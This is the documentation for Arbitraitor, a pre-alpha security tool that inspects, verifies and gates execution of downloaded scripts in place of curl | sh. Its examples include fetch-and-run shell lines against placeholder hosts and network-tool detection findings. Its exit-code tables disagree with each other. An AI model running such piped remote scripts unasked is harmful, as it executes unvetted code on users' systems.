Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Arbitraitor

Pre-alpha software. The CLI flags, configuration format, receipt schemas, and policy syntax are subject to breaking changes. Do not use in production.

Arbitraitor is a policy-enforced download, inspection, provenance verification, and execution gate for untrusted content. It replaces the curl | sh pattern with a controlled pipeline that makes trust decisions explicit and provides explainable findings.

Why Arbitraitor?

Commands like curl -fsSL https://example.com/install.sh | sh collapse four distinct operations into one:

  1. Retrieval — fetching bytes from a network location
  2. Trust — deciding whether those bytes are acceptable
  3. Inspection — analyzing content for threats
  4. Execution — running the retrieved code

When any of these fails, the failure is invisible. Arbitraitor separates these concerns and enforces explicit policy at each boundary.

Key principles

Inspect before execute. No artifact byte reaches a downstream consumer before scanning and policy evaluation complete. This is not a preference — it is a security invariant.

Evidence over scores. Arbitraitor produces findings with categorical detections and capability matrices, not a single risk score that obscures what was actually checked.

Provenance outranks detection. A cryptographically signed attestation from a trusted publisher weighs more than a static analysis finding. Digest pinning, minisign/cosign signatures, and TUF metadata are first-class concepts.

The pipeline

resolve policy
  -> retrieve once
  -> record transport metadata
  -> buffer immutable bytes
  -> identify content
  -> hash and verify provenance
  -> inspect reputation
  -> scan content
  -> recursively inspect contained payloads
  -> calculate verdict
  -> request approval when required
  -> release or execute the exact inspected bytes
  -> emit a signed receipt

Threat model

Arbitraitor assumes:

  • The network is adversarial. HTTPS does not imply trust.
  • Content publishers may be compromised. A popular download endpoint is an attractive attack surface.
  • Human operators make mistakes. Arbitraitor enforces policy even when users intend to do the right thing.

Arbitraitor does not assume:

  • That a successful download means the content is safe
  • That shell scripts are harmless without network access
  • That any single detector is authoritative

Assurance levels

Every operation runs at a defined assurance level:

LevelNameWhat it guarantees
1InspectRetrieval, hashing, identification, scanning, reporting. No execution.
2MediatedApproved artifact in a deliberately constructed process context. Network denied by default.
3ContainedMediated plus verified platform isolation (filesystem, process, network).

The verdict always states which level was in effect. A clean static scan with network access is labeled as Inspect, not as safe.

Architecture

Arbitraitor is a Rust monorepo organized into focused crates:

arbitraitor-cli               CLI entry point (23 subcommands)
arbitraitor-core              Config, metrics, health checks, state machine
arbitraitor-model             Domain types, receipts, findings (newtypes)
arbitraitor-fetch             HTTP retrieval with SSRF protection + truncation detection
arbitraitor-store             Content-addressed storage (CAS)
arbitraitor-artifact           Content classification (ELF, PE, Mach-O, shebang)
arbitraitor-analysis          Detection pipeline coordinator
arbitraitor-shell             Shell script analyzer (bash/dash)
arbitraitor-powershell        PowerShell AST analyzer
arbitraitor-yarax             YARA-X scanner
arbitraitor-archive           Archive inspection (6 formats, 15 hazards)
arbitraitor-av                Antivirus adapters (ClamAV, Defender)
arbitraitor-provenance        Signature and attestation verification
arbitraitor-intel             Threat intelligence feeds
arbitraitor-policy            TOML policy engine
arbitraitor-receipt           RFC 8785 canonicalized receipts
arbitraitor-exec              Mediated execution (script + native + PowerShell)
arbitraitor-sandbox           Process hardening
arbitraitor-mcp               MCP server
arbitraitor-plugin-api        Plugin trait hierarchy
arbitraitor-plugin-host       Plugin runtime (Wasmtime + subprocess)
arbitraitor-wrapper           curl/wget wrapper translators + per-shell init
arbitraitor-daemon            Unix socket daemon with background queue
arbitraitor-package-manager   Registry adapters (cargo, npm, uv, pnpm, yarn, bun)
arbitraitor-update            Signed update manifest verification
arbitraitor-testkit           Test infrastructure

Current status

Pre-alpha. The API, CLI, receipts, and policy schemas will change. 1103+ tests pass in the current suite. Do not use in production.

Next steps

Getting Started

Pre-alpha software. Commands, flags, and output formats may change between versions. Examples in this guide reflect the current development state, not a stable release.

This guide walks you through installing Arbitraitor and running your first inspection and execution. You will:

  1. Install Arbitraitor from source
  2. Inspect a script without executing it
  3. Run a script with human approval
  4. Set up wrappers to intercept curl | sh

Each step takes a few minutes. By the end, you will understand how Arbitraitor replaces the curl | sh pattern with a controlled, inspectable pipeline.

What is Arbitraitor?

Arbitraitor is a security boundary for untrusted content. It separates retrieval, trust, inspection, and execution into a controlled pipeline:

download → store → identify → scan → evaluate policy → verdict → execute

Instead of piping a script directly into a shell, Arbitraitor fetches the content, inspects it, produces explainable findings, and only executes the exact inspected bytes — after you approve.

See the Introduction for the full design rationale.

Next steps

Start with Installation, then try inspecting a script.

Installation

Arbitraitor offers two installation methods. Nightly binaries are the fastest option; building from source is available for development.

Pre-built binaries are published every night from the latest main commit. They are available for Linux on x86_64 and aarch64, and for macOS on aarch64 (Apple Silicon).

Download

Fetch the latest binary for your platform from the nightly release page:

PlatformFile
Linux x86_64arbitraitor-x86_64-unknown-linux-gnu.tar.gz
Linux aarch64arbitraitor-aarch64-unknown-linux-gnu.tar.gz
macOS aarch64 (Apple Silicon)arbitraitor-aarch64-apple-darwin.tar.gz

Install

# Download and extract
curl -fsSL https://github.com/arbsec/arbitraitor/releases/download/nightly/arbitraitor-x86_64-unknown-linux-gnu.tar.gz | tar xz

# Move to a directory on your PATH
sudo mv arbitraitor /usr/local/bin/

# Verify
arbitraitor --version

On macOS, substitute the file name with arbitraitor-aarch64-apple-darwin.tar.gz.

Warning: Pre-alpha. Nightly binaries are built from unreleased code. The CLI, config format, and schemas change between commits. Do not use in production.

Build from source

Building from source is required for development or if you need a platform without pre-built binaries (e.g. Windows).

Prerequisites

Rust 1.96+ (Rust 2024 edition). Install via rustup:

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

You also need pkg-config and OpenSSL development headers.

Ubuntu/Debian:

sudo apt install pkg-config libssl-dev

macOS:

brew install pkg-config openssl@3

The project uses mise to pin the exact Rust toolchain and supporting tools. If you have mise installed:

mise install

This installs the Rust version pinned in .mise.toml, plus lefthook (git hooks), cocogitto (conventional commits), and rumdl (markdown linter).

Build and install

git clone https://github.com/arbsec/arbitraitor.git
cd arbitraitor
cargo install --path crates/arbitraitor-cli

This compiles the CLI and all its dependencies. Expect 5–15 minutes depending on your machine and whether dependencies are cached.

The binary installs to ~/.cargo/bin/arbitraitor.

Verify the installation

arbitraitor --version
arbitraitor --help

You should see the version string and the list of subcommands:

Commands:
  inspect   Retrieve and analyze an artifact without executing it
  run       Execute the full pipeline with approval flow
  scan      Scan a local file or stdin for threats
  explain   Explain a verdict from a receipt file
  store     Manage content-addressed storage
  policy    Validate a policy file
  doctor    Check scanner and integration health
  version   Show version and build provenance
  daemon    Unix socket daemon with background queue
  unpack    Unpack an archive to a directory for inspection
  intel     Manage local threat-intelligence feeds
  status    Show system health and configured detectors
  wrappers  Manage curl/wget wrapper shims
  mcp       Start MCP server over stdio (JSON-RPC 2.0)

Troubleshooting

Build fails with OpenSSL errors: Ensure pkg-config and libssl-dev (or openssl@3 on macOS) are installed. On macOS, you may need to set OPENSSL_DIR:

export OPENSSL_DIR=$(brew --prefix openssl@3)

arbitraitor command not found: Ensure the binary is on your PATH:

echo 'export PATH="$HOME/.cargo/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc

Out of memory during build: The workspace is large. Try building with reduced parallelism:

cargo install --path crates/arbitraitor-cli -j 2

First Inspection

The inspect command retrieves an artifact, runs it through the detection pipeline, and reports findings without executing anything:

arbitraitor inspect https://example.com/install.sh

Reading the output

Artifact:    sha256:a1b2c3d4e5f6...
Source:      https://example.com/install.sh
Type:        application/x-shellscript
Size:        4.2 KB
Detectors:   shell ✅  archive ✅

Findings:
  network:curl              high      Downloads content via curl
  network:wget               high      Downloads content via wget
  fs:write:/tmp              medium    Writes to /tmp directory
  exec:subprocess            high      Spawns subprocesses

Verdict: WARN (inspect)
  Elevated findings require human review before execution.
  Run 'arbitraitor run <URL>' to request approval.
LineWhat it tells you
ArtifactThe SHA-256 of the exact bytes that were inspected. This hash is immutable — execution uses these exact bytes.
SourceThe final URL after redirects. May differ from what you typed if the server redirected.
TypeDetected content type. Determines which detectors run (shell scripts get shell analysis, archives get archive inspection).
DetectorsWhich detectors ran and their status. A green check means the detector completed; a red cross means it failed (produces an Incomplete verdict).
FindingsIndividual detections. Each has an ID, severity, and description. The ID format is category:detail (e.g., network:curl = network access via curl).
VerdictThe policy engine’s decision. Always includes the assurance level in parentheses.

Understanding the verdict

The policy engine produces one of five verdicts:

VerdictMeaning
PassNo findings or only informational findings. Safe to proceed.
WarnSuspicious patterns detected. Proceed with caution.
PromptFindings require human approval before execution.
BlockConfirmed malicious content. Execution refused.
IncompleteA detector failed. Treat as untrusted until re-scanned.

The verdict always states which assurance level was in effect: PASS (inspect), WARN (inspect), etc. A clean scan at the Inspect level means the content was analyzed but not executed — it is not a guarantee of safety.

Provenance verification

If the publisher provides a signature, you can verify it during inspection:

arbitraitor inspect https://example.com/install.sh \
  --minisign-key RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QUVlq39r+nX7p

Arbitraitor fetches the artifact once, verifies the signature against the public key, and only proceeds to detection if the signature is valid.

Explainability

Add --explain to get a human-readable explanation of each finding:

arbitraitor inspect https://example.com/install.sh --explain

Use --explain --format shellcheck for output compatible with tools that consume ShellCheck JSON.

What you just did

You ran a complete security inspection on a remote artifact — without executing it. Arbitraitor:

  1. Fetched the content once and buffered it immutably
  2. Identified the content type
  3. Ran detectors (shell analysis, archive inspection, etc.)
  4. Evaluated findings against policy
  5. Produced an explainable verdict

No bytes reached a shell. To actually execute the script (with sandboxing and approval), continue to First Run with Approval.

First Run with Approval

The run command executes the full pipeline: fetch → inspect → approve → execute.

arbitraitor run https://example.com/install.sh

When the verdict requires approval, you’ll see:

Fetching https://example.com/install.sh...
  → sha256:a1b2c3d4e5f6...
  → 4.2 KB, application/x-shellscript

Detecting threats...
  Shell analysis: 2 suspicious patterns

Verdict: PROMPT (2 suspicious findings)

Plan: execute via /bin/bash with network isolated
Type this code to approve: a1b2c3d4e5f6
> █

Type the plan digest prefix to approve. The script then runs in a sandboxed bash interpreter with network isolation, resource limits, and output capping.

Exit codes

Arbitraitor uses its own exit codes to report the verdict — these are not the exit code of the executed script.

CodeMeaning
0Pass — artifact passed all policy checks
1Warn — artifact has findings, human review recommended
2Incomplete — analysis could not complete, blocking by default
3Block — artifact blocked by policy
4Error — fatal error (network, I/O, configuration)
5Approval required in non-interactive mode

Non-interactive mode

In CI or automated contexts where no human can approve:

arbitraitor run https://example.com/install.sh --non-interactive

If the verdict is Prompt or Block, the command exits with code 21 (Prompt) immediately — it never silently approves.

Native binary execution

Arbitraitor auto-detects whether an artifact is a native binary (ELF, Mach-O, PE) or a script from the downloaded bytes. When a native binary is detected:

  • Interactive mode: you’ll be prompted to confirm native execution before proceeding.
  • Non-interactive mode: native execution is blocked unless you pass --native to pre-approve it.
# Auto-detected: native binary → prompts for confirmation
arbitraitor run https://example.com/binary

# Pre-approve native execution (skips the prompt)
arbitraitor run https://example.com/binary --native

Wrappers

Stability: Unstable. Verified against commit 7cb6906. The supported-shell list, flags, and default shim directory may change before 1.0.

Arbitraitor installs shell shims that intercept curl and wget, routing every invocation through the inspection pipeline before bytes reach the downstream consumer:

# 1. Install curl/wget shims
arbitraitor wrappers install

# 2. Wire the shim directory onto PATH (one-time)
arbitraitor wrappers init --install

# 3. (Optional) Verify the setup
arbitraitor wrappers status

After that, curl https://example.com/file | sh is transparently intercepted and inspected before the bytes reach the shell. A Block verdict emits nothing to stdout and exits non-zero — bash receives input only when the artifact passed all configured checks.

Shell integration

wrappers init is the primary command for wiring the shim directory onto PATH. Two modes:

# Print mode — emit snippet to stdout, eval inline or hand-paste
eval "$(arbitraitor wrappers init)"

# Auto-install mode — write a marked, idempotent block to your rcfile
# (creates ~/.bashrc.arbitraitor.bak before editing)
arbitraitor wrappers init --install

# Detect which shell you're running and which rcfile is targeted
arbitraitor wrappers init --detect-shell

# Specify a shell explicitly (default: auto-detected from $SHELL)
arbitraitor wrappers init zsh
arbitraitor wrappers init fish --install

Supported shells: bash, zsh, sh, fish, nu (Nushell), xonsh, powershell, elvish, posix, tcsh, oil (also osh / ysh).

To remove the PATH block from your rcfile:

arbitraitor wrappers init --uninstall

The block is wrapped in marker lines (# >>> arbitraitor wrappers >>> / # <<< arbitraitor wrappers <<<) so re-running --install replaces in place rather than appending. Exception: fish, nu, and powershell use a dedicated file (conf.d/arbitraitor.fish, etc.) rather than a marked block in an existing rcfile. The in-shell snippet is also idempotent: re-evaling it does not duplicate PATH entries.

See the wrappers CLI reference for the full flag surface, the default shim directory rationale, and the deprecated hook init migration path.

Default shim directory

Default: ~/.arbitraitor/shims

This directory is intentionally not on any operating system’s default PATH. A namespaced directory avoids silent replacement of system binaries (spec §28.7 invariant) and avoids collisions with user-owned scripts of the same name in ~/.local/bin.

Override with --shim-dir:

arbitraitor wrappers install --shim-dir ~/.local/bin
arbitraitor wrappers init --install --shim-dir ~/.local/bin

~/.local/bin is on default PATH on Debian (bash ≥ 4.3-15, 2016), Ubuntu (≥ 16.04), and Fedora (bash ≥ 4.2.10-3, 2012). It is not on default PATH on Arch, RHEL, NixOS, Alpine, or inside minimal containers. The rcfile snippet written by wrappers init --install puts any chosen shim directory on PATH regardless of distro defaults.

Health checks

Check the status of Arbitraitor’s subsystems:

# Human-readable status
arbitraitor status

# JSON output for monitoring
arbitraitor status --json

This reports CAS store health, detector availability, and version information.

Configuration

Arbitraitor reads configuration from ~/.arbitraitor/config.toml:

[fetch]
timeout = 30
max_redirects = 10

[policy]
default_action = "prompt"
non_interactive_prompt_action = "block"

[detectors]
shell_analysis = true
powershell_analysis = true
max_archive_depth = 10

Secrets can be referenced from environment variables or files without hardcoding:

[intel]
urlhaus_key = "secret://env/URLHAUS_API_KEY"

See the Configuration reference for all options.

Next steps

Scanning Local Files

Scan a local file or piped stdin content through the full detection pipeline:

arbitraitor scan ./suspicious.sh

Exit codes follow the spec §29 convention:

CodeMeaning
0Passed
10Warning verdict
21Prompt required in non-interactive mode
30Blocked by policy
33Required detector unavailable
34Analysis incomplete

Scanning stdin

curl -s https://example.com/script.sh | arbitraitor scan --stdin

Using YARA-X rules

arbitraitor scan ./suspicious.sh --rules /path/to/yara/rules

Explainability reports

arbitraitor scan ./suspicious.sh --explain --format text
arbitraitor scan ./suspicious.sh --explain --format shellcheck

Stability: Unstable. Verified against commit <sha>. Flags and output may change before 1.0.

Explaining Verdicts

If you saved a receipt during inspection, you can explain the verdict retrospectively:

arbitraitor inspect https://example.com/install.sh --receipt receipt.json
arbitraitor explain receipt.json

Output shows the artifact SHA-256, verdict, all findings with severity, and retrieval metadata (URL, final URL). All untrusted content from the receipt is sanitized per ADR-0016.

Stability: Unstable. Verified against commit <sha>.

Managing Storage

Arbitraitor stores all inspected artifacts in a content-addressed store (CAS) keyed by SHA-256.

List stored artifacts

arbitraitor store list

Prints each artifact’s digest prefix, byte size, and lock status.

Inspect a specific artifact

arbitraitor store inspect <sha256>

Prints the full metadata entry as JSON, including source URL, content type, retention mode, and lock state.

Garbage collection

Remove old or expired artifacts from the store:

# Collect all unlocked, non-forensic artifacts
arbitraitor store gc

# Only collect artifacts older than 30 days
arbitraitor store gc --max-age-days 30

GC preserves:

  • Locked artifacts currently in use by an active operation.
  • Forensic artifacts explicitly marked for indefinite retention.

Stability: Unstable. Verified against commit <sha>.

Managing Rule Packs

List and validate YARA-X rule packs used for detection:

arbitraitor rules list

Output shows each pack’s source, namespace, version, authentication status, and SHA-256 digest prefix.

List with additional rule directories

arbitraitor rules --rules-dir /path/to/custom/rules list

Validate a rule file

Compile-check a YARA-X rule file without loading it into the pipeline:

arbitraitor rules validate /path/to/rules.yar

Stability: Unstable. Verified against commit <sha>.

Verifying Update Manifests

Verify a signed update manifest (spec §34) using a minisign public key:

arbitraitor update verify manifest.json --key pubkey.pub

By default, the signature is loaded from manifest.minisig (minisign sidecar convention). To use a custom signature path:

arbitraitor update verify manifest.json --key pubkey.pub --signature custom.sig

Output shows the verified channel, manifest version, publisher, timestamps, and each target file with its declared SHA-256 and size.

Stability: Unstable. Verified against commit <sha>.

Validating policies

Arbitraitor uses TOML policy files to define rules for verdict computation. Before running artifacts, verify your policy is well-formed.

Validate a policy file

arbitraitor policy my-policy.toml

Output shows the policy version, rule count, and digest:

Policy valid
  Version: 1
  Rules: 5
  Digest: sha256:abc123...

What happens on invalid policy

If the policy TOML is malformed or contains unknown fields, the command exits with a non-zero code and prints the validation error.

See the CLI reference for full flag details.

Checking system health

The doctor command runs system health diagnostics. It prints a human-readable report by default and can emit JSON for automation.

Run doctor

arbitraitor doctor

With custom paths

arbitraitor doctor --cas-dir /custom/store --rules /custom/rules

JSON output

arbitraitor doctor --json

Each check reports pass, fail, warn, or skipped.

What it checks

  • Store: CAS health, writability, object counts, and disk usage
  • Detectors and YARA-X rules: Loaded versions and rule parse status
  • Policy: Validity of configured standalone policy files
  • AV and scanners: ClamAV/Defender availability and signature freshness when configured
  • Feeds and updates: Feed signature files and update trust-root key readability
  • Sandbox: Platform sandbox adapter availability
  • Plugins: Manifest readability and protocol compatibility
  • Wrappers: Curl/wget semantic coverage, shim PATH order, and original-tool resolution posture
  • Environment: Clock plausibility and proxy URL-scheme checks
  • Receipts: Receipt signing key readability when configured

See the CLI reference for full flag details.

Managing plugins

Arbitraitor supports a plugin system with subprocess and Wasmtime Component Model runtimes. The plugin command manages the plugin registry.

List registered plugins

arbitraitor plugin list

Discover plugins

Discovery scans default plugin directories and registers new plugins:

arbitraitor plugin discover

Inspect a specific plugin

arbitraitor plugin info <id>

Outputs the full plugin manifest as JSON, including identity, version, trust class, and plugin type.

Remove a plugin

arbitraitor plugin remove <id>

See the CLI reference for full details.

Decoupled approval and execution

For workflows where inspection and execution happen at different times, Arbitraitor provides a decoupled approve + execute flow.

Step 1: Inspect with receipt

arbitraitor inspect https://example.com/install.sh --receipt receipt.json

Step 2: Approve

arbitraitor approve receipt.json

This displays the artifact SHA-256, verdict, and findings, then prompts for approval. If approved, writes a time-limited approval file (5-minute expiry) to receipt.approval.json.

Step 3: Execute

arbitraitor execute receipt.approval.json

Reads the artifact from CAS by SHA-256 and executes it via sandboxed bash. Use --network to allow network access during execution.

Only ArtifactType::ShellScript(Posix | Bash) artifacts are executable via this path; all other classified types (HTML, JSON, XML, archives, Zsh, Unknown, etc.) fail closed even when the approval file is otherwise valid. See ADR-0036 for the rationale.

# With network access:
arbitraitor execute receipt.approval.json --network

Approval expiry

Approval files expire 5 minutes after creation. If the approval has expired, execute will refuse to run and exit with an error.

See the CLI reference for full details.

Comparison with Other Tools

How Arbitraitor differs

Arbitraitor is the only tool that combines content inspection + provenance verification + policy enforcement + execution gating + receipt trail in a single system. Other tools solve pieces of this pipeline but none provide the full chain from “downloaded something” to “executed it with known, approved risk.”

Direct alternatives

These tools target the same “download → inspect → execute” problem space.

ToolWhat it doesLicenseKey difference
ArbitraitorFull pipeline: download → inspect → verify provenance → policy gate → sandboxed execution → receiptMIT/Apache-2.0Only tool with all six stages integrated
TirithTerminal security gate that intercepts shell commands in real-time, detects 200+ threat categoriesAGPL-3.0Guards the terminal layer — inspects the command, not the artifact content. Complementary.
safeshDrop-in replacement for bash in curl | bash — buffers script, runs static analysis, promptsMITPipe-intercept level only. Simpler scope, easier adoption.
SafeInstallInspects installer scripts, queries URLhaus/VirusTotal, scores riskMITRust-based, integrated threat intel. Lacks provenance verification and execution sandbox.
sfetchSecure downloader with signature verification and trust scoringApache-2.0Focuses on acquisition integrity, not content inspection. Pairs with shellsentry.
lgtmitUses Claude AI to review scripts before executionMITLLM-powered review — requires Claude CLI. Different inspection approach.

Feature comparison

FeatureArbitraitorTirithsafeshShellCheckcosignFirejailURLhaus
Download interceptionYesNoYesNoNoNoNo
Content inspectionYesNoYesYes (shell)NoNoNo
Provenance verificationYesNoNoNoYesNoNo
Human approval gateYesNoYesNoNoNoNo
Sandboxed executionYesNoNoNoNoYesNo
Audit receiptsYesNoNoNoNoNoNo
Policy engineYesNoNoNoNoNoNo
Plugin systemYesNoNoNoNoNoNo
MCP integrationYesNoNoNoNoNoNo

Complementary tools

Arbitraitor is designed to integrate with existing security tools, not replace them:

Static analysis

ToolScopeIntegration
ShellCheckShell script linting (280+ checks)Arbitraitor produces ShellCheck-compatible JSON output via --explain --format shellcheck
SemgrepMulti-language static analysis (3000+ rules)Can run as a detector plugin
BanditPython security linterPython-specific AST analysis

Provenance

ToolScopeIntegration
cosignContainer/image signing (Sigstore)Arbitraitor verifies cosign bundles as a provenance signal
TUFSecure update frameworkSupported as a trust root per ADR-0012
in-totoSupply chain attestationAttestation format compatible with receipt system

Runtime sandboxing

ToolApproachIntegration
BubblewrapUnprivileged namespace sandboxCan wrap Arbitraitor’s executed artifacts
gVisorUserspace kernelStronger isolation — run Arbitraitor inside gVisor container
FirecrackerMicroVM hypervisorVM-level boundary for highest-trust workloads

Threat intelligence

ToolScopeIntegration
URLhaus300K+ malicious URLsBuilt-in adapter — queried before inspection
VirusTotal70+ AV enginesAPI integration as intelligence plugin
urlscan.ioURL behavioral analysisSubmit URLs for sandboxed browsing analysis

CLI Reference

The arbitraitor CLI provides commands for inspection, execution, wrapper management, storage, policy validation, and system health.

Commands

CommandDescription
arbitraitor inspectRetrieve and analyze an artifact without executing it
arbitraitor fetchFetch an artifact with provenance verification (spec §28.2)
arbitraitor wrapWrap an existing tool invocation through Arbitraitor (spec §28.1)
arbitraitor runExecute the full pipeline with approval flow
arbitraitor scanScan a local file or stdin without retrieval
arbitraitor explainExplain a verdict from a receipt file
arbitraitor daemonUnix socket daemon with background queue (start/stop/status)
arbitraitor unpackUnpack an archive to a directory for inspection
arbitraitor intelManage local threat-intelligence feeds (update)
arbitraitor statusShow system health and configured detectors
arbitraitor wrappersInstall curl/wget shims + render shell-integration snippet
arbitraitor envHidden alias of wrappers init (shell env setup)
arbitraitor storeManage CAS artifacts (list, inspect, gc)
arbitraitor policyValidate a policy TOML file
arbitraitor doctorRun system health diagnostics
arbitraitor rulesManage YARA-X rule packs (list, validate)
arbitraitor updateVerify signed update manifests
arbitraitor pluginManage plugin registry and local plugin lifecycle
arbitraitor hookDeprecated bash DEBUG trap (prefer wrappers init --install)
arbitraitor shimManage npm/curl/wget/brew compatibility shims
arbitraitor graphRender payload containment tree for archives
arbitraitor approveApprove execution from a receipt file
arbitraitor executeExecute an artifact from CAS using an approval file
arbitraitor reportReport user feedback on findings (e.g. false positive, spec §21.7)
arbitraitor allowRecord a scoped allow exception for an artifact digest (spec §21.7)
arbitraitor pmRun a package manager through advisory scan (npm)
arbitraitor mcpStart MCP JSON-RPC 2.0 server over stdio
arbitraitor versionPrint version, license, and repository

arbitraitor intel update

Updates local threat-intelligence feed snapshots on demand.

FlagDescription
--urlhausIngest the URLhaus malicious-URL feed
--urlhaus-url <URL>Override the URLhaus CSV or JSON endpoint
--ossf-malicious-packagesIngest OpenSSF malicious-packages MAL- IDs from an OSV querybatch response
--ossf-malicious-packages-url <URL>Override the OSV querybatch endpoint or use a signed mirror response
--intel-store <PATH>Override the local intel store path

Global flags

These flags apply to all commands:

FlagDescription
--config <PATH>Path to TOML configuration file
--verboseEnable verbose output (repeat for more detail: -v, -vv)

Note: Per-command output format flags (e.g., --format, --json) are available on specific subcommands, not as global flags.

Exit codes

Arbitraitor uses the stable exit codes defined in spec §29. Each code encodes a distinct policy decision or operational condition so CI pipelines, shell scripts, and process supervisors can react precisely. Machine consumers should prefer --json or --sarif output for full evidence; exit codes are a coarse-grained summary.

CodeMeaning
0Pass — artifact passed all required checks and the requested release completed
1General operational error (no more specific code applies)
2Invalid arguments or configuration (semantic invalidity after parsing)
10Warning verdict, no release requested
20Interactive approval declined by the user
21Prompt required in non-interactive mode
30Blocked by policy (generic)
31Confirmed malicious indicator (signed feed or Confidence::Confirmed finding)
32Integrity or signature failure (digest mismatch, bad signature, missing trust root)
33Required detector unavailable or stale
34Analysis incomplete due to resource limit (time, memory, depth, byte budget)
40Network retrieval failure
41Redirect or transport policy violation (cross-origin, HTTPS→HTTP, SSRF)
42Content type or size policy violation
50Execution failed after approval (non-zero child exit, signal, sandbox violation)
60Internal integrity invariant failure (e.g. running as root per ADR-0009)

These numeric values are stable for the lifetime of the project. New codes may be added (with a corresponding spec change); existing codes are not renumbered.

Inspect command

arbitraitor inspect <URL or file path> [flags]

Flags

FlagDescription
--receipt <PATH>Write a JSON receipt to this path
--cas-dir <DIR>Override the CAS directory
--sha256 <HEX>Expected SHA-256 digest for provenance verification
--rules <DIR>Path to a directory of YARA-X rule packs
--minisign-sig <PATH>minisign signature file (repeatable)
--minisign-key <KEY>minisign public key (repeatable)
--cosign-bundle <PATH>cosign bundle file (repeatable)
--cosign-identity <IDENTITY>cosign identity (repeatable)
--cosign-issuer <ISSUER>cosign certificate issuer (repeatable)
--explainShow an explainability report for detected findings
--format <FORMAT>Output format for explainability: text, shellcheck (implies --explain)
--sign-receipt <METHOD>Sign the receipt with the specified method (spec §31.3): minisign, cosign, enterprisekey, tpm
# Basic inspection
arbitraitor inspect https://example.com/install.sh

# With receipt
arbitraitor inspect https://example.com/install.sh --receipt receipt.json

# With provenance verification
arbitraitor inspect https://example.com/install.sh --sha256 abc123... --minisign-key pubkey

# Inspect a local file
arbitraitor inspect ./downloads/script.sh

Fetch command

arbitraitor fetch <URL> [flags]

Fetches an artifact from a URL with provenance verification, content-addressed storage, and optional receipt emission. When invoked via a wrapper symlink (curl/wget), the --tool flag is set automatically and passthrough arguments are captured after --.

Flags

FlagDescription
-o, --output <PATH>Write the fetched artifact to this path instead of stdout
--sha256 <HEX>Expected SHA-256 digest for provenance verification
--signature <PATH>minisign signature file (repeatable; requires key via config)
--cosign-bundle <PATH>cosign bundle file (repeatable)
--identity <IDENTITY>cosign identity (repeatable)
--issuer <ISSUER>cosign certificate issuer (repeatable)
--expected-type <TYPE>Expected artifact type (e.g., shell, elf, archive)
--expected-content-type <TYPE>Expected content type (e.g., application/x-sh)
--max-bytes <BYTES>Maximum bytes to fetch
--header <HEADER>HTTP header to send (repeatable, format: Key: Value)
--policy <PATH>Policy file path (CLI override; requires --audit-override)
--audit-overrideRecord and allow the --policy CLI override in the receipt audit trail
--recursiveRecursively fetch and inspect referenced payloads
--sandboxSandbox execution after fetch
--non-interactiveSkip interactive approval prompts
--jsonOutput results as JSON
--sarifOutput results as SARIF
--receipt <PATH>Write a JSON receipt to this path
--no-cacheSkip cache and force a fresh fetch

Examples

# Basic fetch
arbitraitor fetch https://example.com/install.sh

# Fetch with output file and SHA-256 pinning
arbitraitor fetch --output install.sh --sha256 abc123... https://example.com/install.sh

# Fetch with cosign provenance verification
arbitraitor fetch \
  --cosign-bundle artifact.bundle \
  --identity builder@example.test \
  --issuer https://issuer.example.test \
  https://example.com/artifact

# Fetch with receipt output
arbitraitor fetch --receipt receipt.json https://example.com/install.sh

# Non-interactive JSON output
arbitraitor fetch --non-interactive --json https://example.com/install.sh

Wrap command

arbitraitor wrap <TOOL> -- [tool arguments...]

Wraps an existing tool invocation as a first-class top-level command. The wrapper parses the original tool and arguments, creates a normalized operation plan, and submits useful artifacts to Arbitraitor core. The wrapper does not decide the final verdict and does not release content directly.

curl and wget invocations delegate to the same guarded download pipeline used by PATH shims. bash inspects a local script path when one is present; other tools currently emit a warning and release nothing.

Multi-URL handling (spec §39.9)

When curl or wget is invoked with multiple URLs, each URL is fetched and inspected independently — producing separate artifact identities (SHA-256) and verdicts. Responses are never concatenated into one executable stream. A failure on one URL does not prevent inspection of the remaining URLs, but the command exits non-zero if any verdict is not Pass.

A single --output (-o) with multiple URLs is rejected because it would concatenate responses. Use --remote-name (-O) for per-URL file output, or fetch URLs in separate invocations.

Examples

# Single URL
arbitraitor wrap curl -- -fsSL https://example.com/install.sh
arbitraitor wrap wget -- -qO- https://example.com/install.sh

# Multiple URLs — each inspected independently (spec §39.9)
arbitraitor wrap curl -- -O https://example.com/a.sh https://example.com/b.sh
arbitraitor wrap wget -- https://example.com/a https://example.com/b

# Non-downloader tools
arbitraitor wrap bash -- ./approved-script.sh
arbitraitor wrap brew -- install example

Run command

arbitraitor run <URL or file path> [flags]

Flags

FlagDescription
--nativePre-approve native binary execution without interactive prompt
--non-interactiveSkip interactive approval prompts (block if approval needed)
--networkAllow network access during execution (default: isolated)
--policy <PATH>Policy file path
--sign-receipt <METHOD>Sign the receipt with the specified method (spec §31.3): minisign, cosign, enterprisekey, tpm

Examples

# Interactive approval
arbitraitor run https://example.com/install.sh

# Non-interactive (block if approval needed)
arbitraitor run https://example.com/install.sh --non-interactive

# With native binary and network access
arbitraitor run https://example.com/binary --native --network

# With an audited CLI policy override
arbitraitor run https://example.com/install.sh --policy ./my-policy.toml --audit-override

Supported artifact types

Only shell scripts and native executables are runnable by arbitraitor run (see ADR-0036 for the rationale):

ArtifactTypeExecutable via
ShellScript(Posix | Bash | Zsh)/bin/bash
PeExecutable, ElfExecutable, MachOExecutablenative binary

All other classified types — HtmlDocument, JsonDocument, XmlDocument, GenericText, GenericBinary, archives (ZipArchive, TarArchive, *Compressed), PowerShellScript, PythonScript, JavaScript, and Unknown — fail closed with blocked by policy (exit code BlockedByPolicy) before reaching the execution layer. Piping such bytes to /bin/bash is incorrect (bash doesn’t understand them) and unsafe (HTML, JSON, and XML can incidentally contain bash-parseable $(...), redirections, and pipes).

When a script or native execution does fail, the user-visible error now includes the captured child stderr so the actual root cause is visible (e.g. script input I/O failure during write-script-stdin (child exited 1; stderr: "bash: !DOCTYPE: event not found")), distinguishing “I fed bash junk” from “kernel denied the user namespace” from “Landlock blocked the interpreter path”. See #612 for the bug report and Fix B details.

Wrappers command

arbitraitor wrappers <subcommand> [flags]

Installs curl and wget shims that route downloads through Arbitraitor, and renders the shell-integration snippet that puts the shim directory on PATH. See wrappers for the full reference.

Subcommands

install

Install curl and/or wget shims (default: both) to the shim directory (default: ~/.arbitraitor/shims):

arbitraitor wrappers install
arbitraitor wrappers install curl        # install only the curl shim

